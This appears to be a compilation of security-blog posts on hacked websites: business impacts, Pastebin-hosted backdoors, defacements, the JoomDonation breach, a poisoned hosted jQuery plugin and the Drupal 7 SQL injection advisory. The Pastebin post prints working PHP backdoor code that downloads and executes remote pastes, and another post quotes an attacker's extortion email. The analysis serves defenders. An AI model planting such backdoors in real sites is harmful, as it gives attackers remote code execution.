The Impacts of a Hacked Website

Today, with the proliferation of open-source technologies like WordPress, Joomla! and other Content Management Systems (CMS) people around the world are able to quickly establish a virtual presence with little to no cost. In the process however, a lot is being lost in terms of what it means to own a website.

We are failing each other, we are not setting ourselves up for success. We are learning the hard way, what large organizations already learned – being online is a responsibility and will eventually cost you something.

I recently shared a post talking to the motivations behind hacks. This post was important as it helped provide context and I encourage you to spend some time digesting the information. What it fails to do however, is what I want to focus on in this post.

What are the impacts of these hacks to your website? To your business?

The Effects of a Hacked Website

If you are a large organization, maybe you can quickly understand the impacts of a hack. Say you’re a Facebook? What would be the value for a hacker? I’d argue a couple of things come to mind quickly – you have what is known as Personal Identifiable Information (PII) – always a good thing, and you have the ability to abuse the largest network in the world and affect millions of users world wide. There are obviously a number of other motivations, but the point is the same. The objective[s] is clear and Facebook knows it, and so they invest heavily in its security. The impacts of such a breach could be devastating, think loss in ad revenue, loss in user adoption, etc… This is all common sense, right? It all just makes sense, but how does that translate to the rest of the online world? The 99% of us that don’t own Facebook like properties?

When I speak to website owners, there is often a common trend with the responses I get:

I don’t sell anything or store any information, my website is fine.

or

It’s just a basic little site, with static content.

This is not their fault. To a certain extent, they do have a point. When you think about it rationally, why would someone bother? Fortunately, in my last post I explained why they would. In those one though let’s talk about 4 potential impacts after a hack. Things you might be aware of, but honestly possibly things you haven’t given much thought to.

1. Be Mindful Of your Audience

Maybe you write about puppies, or maybe have a website to provide your clients the assurances that you are real. Whatever the reason, something has driven you to publish something that you feel to be of some interest to someone, and you’re likely right.

In doing so, you have identified a potential audience, and as it is on the web, that audience will at some point find your website. Whether you are a local gym posting your gym hours, or maybe a local restaurant showing today’s specials. The subset of people that have found their way to your website expect and demand a safe experience, even if they’ve never uttered the words.

The easiest way to digest this point is to think of yourself. Think of the websites you might spend your days visiting. Now try to fathom your feelings if while visiting a website you lost your life savings. Try to think of what you would feel like if someone stole your identity.

Should we worry about giving your visitors a safe online experience?

2. Google Does Not Discriminate

Contrary to popular belief, Google does not discriminate. Even if you do not sell, you are likely trying to achieve something. If you’re not, then why are you online? Whether it’s establishing a voice, sharing an opinion, or having a presence. What you are almost always worried about is something known as Search Engine Optimization (SEO), more importantly how you rank on the Search Engine Result Pages (SERP).

Safe Browsing shows people more than 5 million warnings per day for all sorts of malicious sites and unwanted software, and discovers more than 50,000 malware sites and more than 90,000 phishing sites every month. – Google

What if I told you that you could lose all the hard work you put in to gain that SEO ranking in minutes? What if I told you that after a blacklist it could take you months to regain your position on these SERPs? What if I told you that a Google Blacklist has the potential to kill almost 95%, if not more, of the traffic to your website?

3. Something Known as Brand Reputation

Regardless of your business, you have a brand. Whether you realize it or not, and regardless of the size of your audience, trust is an important piece of the puzzle. Many take this for granted, but it’s critical to the success of many businesses.

It can take years to build, and minutes to lose. A hacked website is notorious for destroying trust. Whether its a data breach or a drive by download that infects the visitors desktop. The result of either action, or one of many more nefarious acts, will almost always lead to the same thing – a loss of trust in your brand.

Are you ok if your audience loses trust in your brand?

4. Hacks Cost You More Than Money

I think it’s human nature to think, “This is not meant for me” or “I’ll just deal with it when it happens.” I can tell you though, from years of doing this work and countless engagements with website owners, the cost of a hack is always more than you can ever imagine. The response I always get is the same, “If I only knew it would be this painful.”

As a species, we are risk adverse when it comes to gains, but risk seeking when it comes to loss… – Bruce Schneider

When I say cost, it’s important to note that it goes far beyond money, although that can be crippling as well.

No, instead I am talking about things you will likely never appreciate until you experience it. Things like the emotional toll of not knowing what just happened. Things like the hours you will spend arguing with hosting providers, developers, security professionals; if they would all just understand how important it is to get back online. Things like the fear that you missed something in the clean up process, which only becomes worse if you did and suffer repeated reinfections. Things like the new fear of being online at all, of technology as a whole. All this is exasperated by one simple thought, “Why didn’t I take precautions?”

As surreal as these sound, these are the real costs of a hack. The money is easy to account for, as a business you take that risk; the smaller a business, the more likely you are to take the risk, the larger you are, the more foolish it is to take the risk. It’s the non-monetary impact that catches everyone off guard.

Are you emotionally and mentally prepared for a hack? Is your business?

Accounting for Website Security Is Always a Challenge

When did running a business become so challenging? Trust me, I know the feeling. Everyday I ask myself the same thing. When will the expenses end? Purchase this tool, configure this feature, hire more people. It’s an endless cycle, yet a necessary one. As business owners it falls on our shoulders to make these decisions.

For me, there is nothing worse than getting caught with my pants down. This is exactly what I hear from our clients. No one ever told me I had to think about my websites security. No one ever told me this could impact my business.

I hope this post helps address those points. Leverage these insights to make a better decision. If you can honestly say that known of the four items mentioned above are of any value to your business, then I encourage you to continue with the status quo. If though, for whatever reason, they resonate, then maybe it’s a good time to start asking more engaging questions to your technical staff.

A question like, What do we do for the security of our website?

I’ll close the point with a note to Developers / Designers. Our clients depend on us as their trusted technologists, it’s on us to educate and communicate the realities of having an online presence. Let’s be sure to be doing our part by introducing realistic expectations during the initial engagement process: Yes, the website will require maintenance. Yes, security is something you will be responsible for. Yes, having a website is a responsibility.

– Your Trusted Security Team

Tony

Website Backdoors Leverage the Pastebin Service

We continue our series of posts about hacker attacks that exploit a vulnerability in older versions of the popular RevSlider plugin. In this post we’ll show you a different backdoor variant that abuses the legitimate Pastebin.com service for hosting malicious files.

Here’s the backdoor code:

if(array_keys($_GET)[0] == 'up'){
$content = file_get_contents("http://pastebin . com/raw.php?i=JK5r7NyS");
if($content){unlink('evex.php');
$fh2 = fopen("evex.php", 'a');
fwrite($fh2,$content);
fclose($fh2);
}}else{print "test";}

It’s more or less a typical backdoor. It downloads malicious code from a remote server and saves it in a file on a compromised site, making it available for execution. What makes this backdoor interesting is the choice of the remote server. It’s not being hosted on a hackers’ own site, not even a compromised site — now it’s Pastebin.com — the most popular web application for sharing code snippets.

Technically, the criminals used Pastebin for what it was built for – to share code snippets. The only catch is that the code is malicious, and it is used in illegal activity (hacking) directly off of the Pastebin website. Pastebin.com allows users to download the code in “raw” format (i.e. no HTML, no site UI, just the code — note the raw.php part of the URL).

Here’s an example of a slightly more elaborate backdoor, uploaded via the RevSlider hole:

Decoded backdoor that uses pastebin

Code-downloading backdoor from Pastebin

In the screenshot, you can see that this code injects content of the Base64-encoded $temp variable at the top of the WordPress core wp-links-opml.php file. You can see the decoded $temp content below:

Code-downloading backdoor from pastebin

Decoded backdoor that uses pastebin

Again, you can see that some code is being downloaded from Pastebin.com, saved to a file and immediately executed. This time this only happens when the attacker provides the Pastebin snippet ID in the wp_nonce_once request parameter (which is also used as a file name when they save the downloaded code). The use of the wp_nonce_once parameter hides the URL of malicious pastes (which makes it difficult to block) and at the same time adds flexibility to the backdoor — now it can download and execute any Pastebin.com snippet — even those that don’t exist at the time of injection — you just need to pass their ID’s in the request to wp-links-opml.php.

FathurFreakz encoder

I should also mention that Indonesian hackers have an encoder that was made specifically to work with Pastebin.com. It is called PHP Encryptor by Yogyakarta Black Hat or by FathurFreakz. Basically, they create a paste of their PHP code on Pastebin.com and then specify the URL of the code in the encryptor, which then generates obfuscated code that looks like this:

Encoded specifically for Pastebin

Encoded specifically for Pastebin

If you decode it, you’ll see this:

function FathurFreakz($ct3){
xcurl('http://pastebin.com/download.php?i='.code($ct3));
}
FathurFreakz(CODE);

This code downloads and executes a Pastebin.com paste (xcurl function) with the ID encrypted in the CODE constant. Here, you can see that they use one more special Pastebin.com URL type, download.php, which acts similarly to raw.php, but also provides HTTP headers to prevent browsers from displaying the content to download it as a file instead.

By the way, that hacker group likes using Pastebin.com so much that some of their backdoors look like this (decoded):

Pastebin malware decoded

Pastebin backdoor decoded

Hackers and Pastebin

Pastebin has a long history of being used by hackers of all ranks. Many hacker groups share data stolen from famous companies via the service. Pastes are being used as an anonymous intermediary storage for data stolen from user computers. Some pastes are known to be used in malware attacks – they may contain encrypted addresses and even base64-encoded malicious binary code. Here’s just a few notable headlines from the last 5 years:

This time we see relatively massive use of Pastebin in live attacks, which is quite new to us. This also suggests that we, security researchers, should be more careful when sharing malicious code we find in public pastes – it is easy for hackers to reuse them directly from Pastebin.com. It would be a good idea, before sharing, to make some obvious modification to the code that would prevent its execution when downloaded in a raw format.

2014 Website Defacements

Defacements are the most visual and obvious hack that a website can suffer from. They also come parcelled with their own exquisite sense of dread. Nothing gives that gut-wrenching feeling of “I’ve been hacked” more than seeing this:

Defaced-Website-Upgrade-Security

Most malware that we see on a daily basis is driven by some desire to profit off of victims – classic pharma spam or theft of credit card details and personal information. By contrast, most defacements have little to no financial incentive. They are almost always done to further some political, religious or ideological goal. Some attackers will try to deface as many sites as possible with their ‘calling card’ just to prove how “l33t” (elite) they are or to give attention to whatever cause they are trumpeting.

These hacks remind me of by-gone days when computer hacking was done primarily for mischief and trouble-making and less associated with the nefarious criminal underworld. A lot of the time all that is tampered with is the site’s index.php file which can easily be restored by downloading a fresh copy of whatever CMS you use.

A more nasty defacement, though, will overwrite your wp-config.php file entirely and if you don’t have a backup, well, make one right now for a rainy day :)

Now, having said all this, while all defacements are primarily about the shock value much of the time they are coupled with malware, too. If this ever happens to your site assume it is fully compromised and act accordingly. Whoever defaces a site will almost certainly place a few backdoors for easy access later on. The more harmful hacks will also attempt to infect end user computers visiting the site.

For this reason, if you ever suffer from this sort of calamity make sure you perform a thorough check for any malicious files! Otherwise you’ll likely end up with the same problem soon after.

There are a whole bunch of ways that this can happen – websites that employ poor password management and/or use out of date software are easy, low-hanging fruit for these vandalists. Naturally, our clients using our CloudProxy firewall are protected against such attacks.

JoomDonation Compromised

We are receiving reports from many users of the popular JoomDonation platform that they received a very scary email from someone that supposedly hacked into JoomDonation. The emails went to the registered accounts and contained the full names, so it looks like JoomDonation did in fact get breached.

This is the full email:

How the hell are you? No need to ask, I’m fine!

I’m the one who has hacked all of your sites, emails, accounts etc. that has been using JoomDonation.com site/components. Scaring? Hell Yea :-)

About 15 months ago, I was able to penetrate into several Joomla sites. One of these luckies was JoomDonation.com After a while I realised that their crappy components were used by other Joomla developers too so I injected my shells into JoomDonation.com components. As per result, I’ve a list of 300000+ Joomla users+emails and you’re just one of them, lucky thing :-)

..

Yea Yea I know you all have scanners, firewalls, admin tools etc installed on your server/site but you what? F*ck em all. They’re just noob tools. Think about, I’ve injected my own shells into 10000+ Joomla sites and none of you or your magic tools have been awared of.

WARNING: You have 5 days to clean up your sites then my bot will start putting your sites down. If your site was not so valuable for me, removing the components would be enough. If so, then I will most probably blackmail you soon :-)

Want an advice from a hacker? Don’t use any script from Thailand/Vietnam developers, their code is so crappy :-) Try Indian quality.

This email was sent to all JoomDonation.com users. We’ll meet again if you have accounts registered to other Joomla developers :-)

Our research team is trying to confirm if any of the downloads from JoomDonation contain a backdoor, and we will post more details soon on what we find.

The JoomDonation developer has confirmed their environment has been compromised, but believes the issues to be specific to their server:

Hi All

I believe this is not security issues in our components/extensions. Someone hacked our server (we are using bluehost VPS server for hosting our website) somehow and uses the email systems to send this spam emails to all of you.

They want to destroy our business (and they mentioned India somehow in the email). Just the quick update from us, we will provide more information when we found something!

We are really sorry for this trouble.

The concern here is two fold:

  1. How did the attackers penetrate JoomDonation? If they leveraged a Zero-Day, then it’s likely the attacker can in fact penetrate other environments configured the same way.
  2. How is the attacker contacting JoomDonation users? This leads you to believe that there has been some level of data breach and user PII information has been compromised.

Currently, the attacker appears to be contacting those that have purchased any of the JoomDonation extensions, which include:

  1. Events Booking
  2. OS Property
  3. EShop
  4. Membership Pro
  5. EDocman
  6. CSV Advanced
  7. OS Services Booking
  8. Joom Donation
  9. Documents Seller

In the meantime, we highly recommend disabling this extension from your website. I would also highly recommend putting it behind a Website Firewall (WAF) with all hardening options enabled to minimize the chances of a compromise in case the extension has a 0-day vulnerability or backdoor.

:::::Update: 20141126 :::::

Tuan provides more details on the compromise, he states:

Dear all,

As you know, today, our hosting account was hacked. The hacker got a small part of our users information (only name and email) and emailed to these users that their sites were hacked. Infact, these sites are not hacked at all.
We have been working hard on this issue. Here are something we found and would like to inform you about them:

1. The security issue is not related to our extensions at all. So all the sites which are using our extensions at the moment will still be safe.

2. The issue came from a security hole in the hosting server which we have used. We have been using a VPS server to secure customers data, unfortunately, there was still security hole and the server has no Firewall software, so the hacker could get into the system and stole these information. We are working to move our website to a more secure server with a better hosting provider. However, it will take us one or two days for doing that.

3. The hacker just got a small part of our users information (contain name, email) and publish some of them. Few hours after the information was published (just name and a part of the email – the domain of the email is hidden), it was deleted and could not be viewable from public. So the information would be secure from now as well

4. We can assure that your sites are still safe. However, we advice that you change super admin account (and FTP account) of your site.

5. We will continue analyzing the server logs and will inform more information about this issue ASAP.

We are really sorry about this issue and hope you will stay with us and do more business with us in the future. Our extensions are good and secure, it is just the hosting server insecure and causes us all these trouble.

Sincerely, JoomDonation

The Dangers of Hosted Scripts – Hacked jQuery Timers

Google blacklisted a client’s website claiming that malicious content was being displayed from “forogozoropoto(dot)2waky (dot)com”.

A scan didn’t reveal anything suspicious. The next step was to check all third-party scripts on the website. Soon we found the offending script. It was hxxp://jquery .offput .ca/js/jquery.timers.js – a jQuery Timers plugin that was moderately popular 5-6 years ago.

Right now, the jquery.offput.ca site is hacked. The home page appears to be blank, but it contains a few hidden links, one of which leads to a pharma spam doorway on another hacked site:

Unmask Parasites report for jquery.offput.ca

Unmask Parasites report for jquery.offput.ca


All JavaScript files on the website contain malicious code.

Sucuri SiteCheck report: infected jquery.js on jquery.offput.ca

Sucuri SiteCheck report: infected jquery.js on jquery.offput.ca



The plugin script jquery.timers.js is no exception (note the first line of code):

infected jquery.timers.js code

Infected jquery.timers.js code

The Payload

The malware in the JavaScript files is quite interesting.

First of all, the obfuscated part decodes to:

<script src="hxxp://forogozoropoto(dot)2waky(dot)com/7"></script>

So, we know this is definitely the source of the problem.

Next, you may have noticed this construction:

if(/*@cc_on!@*/false){malicious code}

Most browsers ignore the comment and never execute the malicious code, taking it as:

if(false){malicious code}

Internet Explorer is different. It interprets the comment as a conditional compilation statement and considers everything between /*@cc_on and @*/ as executable JavaScript. In this case, IE will see the injected code as:

if(!false){malicious code} 

It will always execute the malicious code, due to the inclusion of the commented “!” character.

This IE-only, conditional compilation hack will prevent the forogozoropoto(dot)2waky(dot)com script from loading in non-IE browsers, even if using an IE User-Agent string. This means that if you are using, say, a Linux sandbox with a browser that pretends to be Internet Explorer, and then monitor the HTTP traffic — you will not see any requests to forogozoropoto(dot)2waky(dot)com.

One more interesting thing here is that hxxp://jquery.offput.ca/js/jquery.timers.js only contains the malicious code if you request it using an IE User-Agent. For any other browsers, it returns unmodified code of the jQuery Timers plugin. This looks like either a server-level infection that patches JavaScript responses on-the-fly for qualifying requests, or hackers changed the handler of JavaScript files, making them executable by PHP (e.g. using AddHandler and php_value auto_prepend_file in .htaccesss ).

What Happened to the jQuery Timers Plugin?

After the initial release and a few years of plugin support, the developer lost interest and abandoned the jquery.offput.ca site. The page says the plugin has moved to the official jQuery plugin repository, and all updates will be available there only:

jQuery timers moved

jQuery timers moved

However, the repository URL is redirecting to jQuery.com, and it can’t be found using the search function. I suppose that the plugin has been completely abandoned, only living in local copies on some websites, and as as the hacked original version on the jquery.offput.ca site.

The Risks of Using Hosted Scripts

This is neither the first abandoned script, nor the last. Thousands of developers create plugins for jQuery. Many develop their own libraries. Some of those libraries become really popular, but there is no guarantee that developers will remain committed to supporting their software forever.

Of course, when you find some cool new script, you might want to do some tests linking directly to the script on the developer’s website — it’s fast, it works on any computer, and you don’t have to worry about serving extra JavaScript files — just focus on your own code. However, what works during the test stage is not always a great idea for a live public site.

Consider these potential situations and outcomes:

  • The plugin site is temporarily down (e.g. maintenance or server problem) — your site is broken.
  • The plugin author updated the .JS file with a buggy or incompatible version of the plugin – your site is broken.
  • The plugin author abandons the site (the domain expires) or moves the plugin to a different domain — your site is broken.
  • The plugin site gets hacked and some malicious code is injected into the plugin file — your site is spreading malware to your visitors.

There are plenty of risks connected to using scripts from third-party websites. As a web developer, you should generally avoid this practice. The only reasonable exception is using JavaScript libraries from trusted CDNs (e.g. Google Hosted Libraries). You can be sure that the CDN will guarantee integrity and availability of the files you need for a reasonably long time. All the rest should be hosted on servers that you control.

Please review your site code. If it still uses the jQuery Timers plugin, make sure to use a local version (you can get a clean version here) and don’t link to the infected jquery.timers.js file on the jquery.offput.ca site.

If you see any other scripts linked directly to third-party websites, you might want to consider serving those scripts directly from your site, or from a trusted CDN. This will prove to be a more reliable and secure solution.

Drupal Warns – Every Drupal 7 Website was Compromised Unless Patched

The Drupal team released an update to a critical SQL Injection vulnerability a few weeks ago and urged all their users to update or patch their sites as immediately.

Today the the Drupal team released a strong statement via a public service announcement:

You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement.

In case you’re wondering, this is a very strong statement for any origanization, especially an open source project, to make. It’s one we agree with and tried to amplify, without causing alarm in the initial post. Less than 48 hours after their disclosure, we released a post saying that attacks were already in the wild and attempting to compromise every site they could.

The scariest part of this vulnerability is that since Drupal uses PDO, this vulnerability is not only limited to SELECT statements, an attacker is able to able to insert or modify arbitrary data in the database.

Severity, coupled with it’s simplicity is a recipe for disaster. It’s a matter of time before it’s integrated into the latest toolsets and attacks are actively detected.

The first attack started 8 hours after the disclosure. The attackers began hitting our honeypots with the following SQL Injection attempt…

One thing I want to make very clear is that every site behind our website firewall is and has been protected against this attack. We still recommended all our users patch, but our virtual patching (along with our SQL injection protection), kept and will continue to keep our clients sites safe.

Recovery Mode

If you have not patched your site in time and you were not using a Website Firewall with virtual patching enabled, you should assume that your site was indeed hacked. You need to defer to your incident response procedures and assume a compromise has occurred until you can prove otherwise.

The Drupal team provided some steps in their disclosure, but we also want to recommend the following steps:

  1. Check if your site is actively serving malware or spam. Free scanners like SiteCheck and Unmaskparasites exist for this purpose.
  2. Download a filesystem backup from before Oct 15th and compare all file changes since.
  3. Download a database backup from before Oct 15th and compare any changes there. Look for new users and new hooks specially. If you can, restore to that backup to be safe.
  4. Change all passwords.
  5. Look up for any new file added since.

The scary part of this issue is that Drupal, unlike many other of it’s counterparts – Joomla! and WordPress – is heavily employed in larger organizations (enterprises for lack of a better word). This means that it’s highly unlikely that they were able to patch. Unlike consumers and small business, large organizations have processes that dictate the steps that they are allowed to take and what points. Each step has a series of approvals and depending on the size of the organization those approvals can be exhaustive (meaning they can take time).

This is a recipe for disaster, if it’s true and those websites are in fact compromised, they could be leveraged and daisy chained for a massive malware distribution campaign. Take that into consideration with the size and audience of brands and the impact grows exponentially.

If you are one such organization that finds yourself in this type of situation, we highly recommend employing technology solutions that give you more time to follow your steps while still protecting your online property.

Popular Brazilian Site “Porta dos Fundos” Hacked

A very well known Brazilian comedy site, “Porta dos Fundos,” was recently hacked and is pushing malware (drive-by-download) via a malicious Flash executable, as you can see from our Sitecheck results:

SiteCheck Found Malware on Porta dos Fundos

SiteCheck Found Malware on Porta dos Fundos

If you do not want the joke to be on you, do not visit this site (portadosfundos) until it has been cleaned.

The infection starts with malicious javascript injected at the top of the code, which loads content from another compromised site, www.gpro.co.mz:


Read More

Phishing with help from Compromised WordPress Sites

We get thousands of spam and phishing emails daily. We use good spam filters (along with Gmail) and that greatly reduces the noise in our inbox. Today though, one slipped through the crack and showed up in my personal inbox:

Gmail Phishing


Read More

vBulletin.com Compromised

The vBulletin team recently announced that they suffered a compromise which allowed the attackers access to vbulletin.com servers and database. On their own words:

We take your security and privacy very seriously. Very recently, our security team discovered sophisticated attacks on our network, involving the illegal access of forum user information, possibly including your password. Our investigation currently indicates that the attackers accessed customer IDs and encrypted passwords on our systems. We have taken the precaution of resetting your account password. We apologize for any inconvenience this has caused but felt that it was necessary to help protect you and your account.


Read More

Case Study: Analyzing a WordPress Attack – Dissecting the webr00t cgi shell – Part I

November 1st started like any other day on the web. Billions of requests were being shot virtually between servers in safe and not so safe attempts to access information. After months of waiting, finally one of those not so safe request hit one of our honeypots.

We won’t get into the location of the site because it really doesn’t matter, a fact that most critics don’t realize. As is often the case, the honeypot site was quiet without much traffic and the weakness was access control.

We intentionally left the password to the site to one of the top 10 passwords, with continuous attempts it took about 3 months before it was accessed.

This time though we were ready and this is how it went..

Read More